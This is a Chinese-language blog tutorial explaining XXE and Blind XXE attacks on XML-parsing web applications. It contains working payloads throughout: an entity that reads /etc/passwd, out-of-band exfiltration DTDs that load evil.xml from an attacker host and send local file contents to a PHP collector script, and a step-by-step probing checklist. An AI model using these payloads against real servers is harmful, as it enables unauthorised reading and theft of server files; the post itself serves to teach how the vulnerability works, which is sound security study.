XXE漏洞以及Blind XXE總結



轉載請註明出處:http://blog.csdn.net/u011721501

0、前言

XXE漏洞是針對使用XML交互的Web應用程序的攻擊方法,在XEE漏洞的基礎上,發展出了Blind XXE漏洞。目前來看,XML文件作爲配置文件(Spring、Struts2等)、文檔結構說明文件(PDF、RSS等)、圖片格式文件(SVG header)應用比較廣泛,此外,網上有一些在線XML格式化工具也存在過問題,如開源中國的在線XML格式化工具XXE漏洞:

http://www.wooyun.org/bugs/wooyun-2010-059911。還有一些郵箱預覽功能也存在問題, 如網易郵箱doc文件預覽:

http://www.wooyun.org/bugs/wooyun-2010-073321。下面是我結合參考文獻(最後一節有聲明)來研究的成果,意在疏通漏洞的原理,瞭解利用的細節。

 

 

1、Blind XXE用途

對於傳統的XXE來說,要求有一點,就是攻擊者只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件。例如:

提交請求:

 

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>

 

 

服務器在這個節點中返回etc/passwd的文件內容:

 

<username>root:1:3.......</username>

 

 

如果服務器沒有回顯,只能使用Blind XXE漏洞來構建一條帶外信道提取數據。

 

2、參數實體和內部參數實體

Blink XXE主要使用了DTD約束中的參數實體和內部實體。

參數實體是一種只能在DTD中定義和使用的實體,一般引用時使用%作爲前綴。而內部實體是指在一個實體中定義的另一個實體,也就是嵌套定義。

如:

 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

 

 

 

 

但是在我研究過程中,發現內部實體的這支持與否也是取決於解釋器的。

IE/Firefox:

Chrome:

這也是比較蛋疼的特性,因爲php,java,C#等語言的內置XML解析器都是有一定差別的,也就給漏洞利用帶來不便。

 

3、Blind XXE原理

帶外數據通道的建立是使用嵌套形式,利用外部實體中的URL發出訪問,從而跟攻擊者的服務器發生聯繫。

直接在內部實體定義中引用另一個實體的方法如下,但是這種方法行不通。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

於是考慮內部實體嵌套的形式:

 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>

 

 

但是這樣做行不通,原因是不能在實體定義中引用參數實體,即有些解釋器不允許在內層實體中使用外部連接,無論內層是一般實體還是參數實體。

解決方案是:

將嵌套的實體聲明放入到一個外部文件中,這裏一般是放在攻擊者的服務器上,這樣做可以規避錯誤。

如下:

【source file】

 

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>

 

 

【evil.xml】

 

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

 

 

實體remote,all,send的引用順序很重要,首先對remote引用目的是將外部文件evil.xml引入到解釋上下文中,然後執行%all,這時會檢測到send實體,在root節點中引用send,就可以成功實現數據轉發。當然,也直接在DTD中引用send實體,如果在evil.xml中,send是個參數實體的話,即以下方式:

【source file】

 

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
 %all;
%send;
]>

 

 

【evil.xml】

 

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

 

 

 

 

7、測試

【1.php】

 

<?php
file_put_contents("1.txt", $_GET['file']) ;
?>

 

 

【test.php】

 

<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/passwd.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
	%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>

 

 

【evil.xml】

 

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

 

 

訪問http://localhost/test.php, 這就是模擬攻擊者構造XXE請求,然後存在漏洞的服務器會讀出file的內容(c:/1.txt),通過帶外通道發送給攻擊者服務器上的1.php,1.php做的事情就是把讀取的數據保存到本地的1.txt中,完成Blind XXE攻擊。


 

攻擊之後1.txt中的數據:


 

攻擊者服務器日誌:

8、總結

遇到XML相關的交互過程,以如下步驟判斷是否存在漏洞:

(1)檢測XML是否會被解析:

 

 

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY shit “this is shit”>

]>

<root>&shit;</root>

 

 

 

 

如果$shit;變成了”this is shit”,那就繼續第二步。

(2)檢測服務器是否支持外部實體:

 

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>

%shit;

]>

 

 

 

 

通過查看自己服務器上的日誌來判斷,看目標服務器是否向你的服務器發了一條請求evil.xml的HTTP request。

(3)如果上面兩步都支持,那麼就看能否回顯。如果能回顯,就可以直接使用外部實體的方式進行攻擊。當然有時候服務器會不支持一般實體的引用,也就是在DTD之外無法引用實體,如果這樣的話,只能使用Blind XXE攻擊。

(4)如果不能回顯,毫無疑問,使用Blind XXE攻擊方法。

 

另外,這是寒假期間寫的東西,難免會有些錯誤和理解不到位的地方,歡迎討論與指正。

 

9、參考文獻

[1] http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

[2] http://security.tencent.com/index.php/blog/msg/69

[3] bh-eu-13-XML-data-osipov-wp.pdf

[4] XML_Exteral_Entity_Attack.pdf

[5] http://www.91ri.org/9539.html

 

轉載請註明出處:http://blog.csdn.net/u011721501

 

 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章